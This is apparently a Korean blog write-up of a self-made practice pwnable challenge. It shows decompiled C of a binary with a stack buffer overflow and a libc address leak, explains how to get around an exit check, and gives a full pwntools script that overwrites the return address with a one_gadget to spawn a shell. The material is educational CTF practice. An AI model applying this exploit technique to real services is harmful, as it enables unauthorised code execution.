실습을 위해 또 포너블 문제를 만들었다.
void __noreturn handler()
{
puts("Time Out");
exit(-1);
}
unsigned int Init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
signal(14, (__sighandler_t)handler);
return alarm(0x3Cu);
}
int menu()
{
puts("1. read");
puts("2. print");
puts("3. quit");
return printf("> ");
}
int Input()
{
int buf; // [rsp+0h] [rbp-10h]
buf = 0;
read(0, &buf, 8uLL);
return atoi((const char *)&buf);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
const char **v5; // [rsp+0h] [rbp-30h]
char buf; // [rsp+10h] [rbp-20h]
__int64 v7; // [rsp+20h] [rbp-10h]
char v8; // [rsp+2Fh] [rbp-1h]
v5 = argv;
v8 = 1;
v7 = 0LL;
Init();
while ( v8 )
{
menu();
v3 = Input();
switch ( v3 )
{
case 2:
printf("stdin: %p\n", stdin, v5);
break;
case 3:
v8 = 0;
break;
case 1:
read(0, &buf, 0x38uLL);
break;
default:
puts("Invalid choice");
break;
}
}
if ( v7 )
exit(0);
printf("message: %s\n", &buf, v5);
memset(&buf, 0, 0x10uLL);
return 0;
}
보호기법으로는 PIE랑 NX, Partial RELRO가 걸려있다.
PIE가 걸려있어서 문제가 되는 것은 rop 가젯 주소를 PIE base를 구하지 않으면 사용하지 못하고, 따라서 RTL을 할 수 없다.
하지만 우리에겐 one gadget이 있다!
기본적인 BOF 취약점을 이용해서 libc leak으로 one gadget 주소를 구해 return address에 넣어서 리턴하도록 하면 되지만,
v7 변수까지 다 덮어버리면 exit 된다.
디버깅으로 확인해본 결과, return address로 리턴하지 않고 그냥 종료해버린다.
따라서 v7 != NULL이면 exit하는 것을 우회하기 위해 v7 변수 값을, 이 위치에 0을 주면 된다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./shot")
elf = ELF("./shot")
libc = elf.libc
p.sendafter("> ", '2')
p.recvuntil("stdin: ")
stdin = int(p.recv(14), 16)
log.info("stdin: "+hex(stdin))
libcBase = stdin - libc.symbols['_IO_2_1_stdin_']
one_gadget = libcBase + 0x45216
p.sendafter("> ", '1')
p.send('A'*0x10 + p64(0) + 'B'*0x10 + p64(one_gadget))
gdb.attach(p)
p.sendafter("> ", '3')
p.interactive()
[2020 Power of XX] POX Server write up (double staged fsb 64bit) (0) | 2020.12.18 |
---|---|
rop (6/8 실습문제) (0) | 2020.06.08 |
[picoCTF 2014] rop1 (0) | 2020.05.31 |
[TAMU 2019] pwn5 (0) | 2020.05.31 |
RTL_x64 (5/25 포너블 실습 문제 만들기) (0) | 2020.05.28 |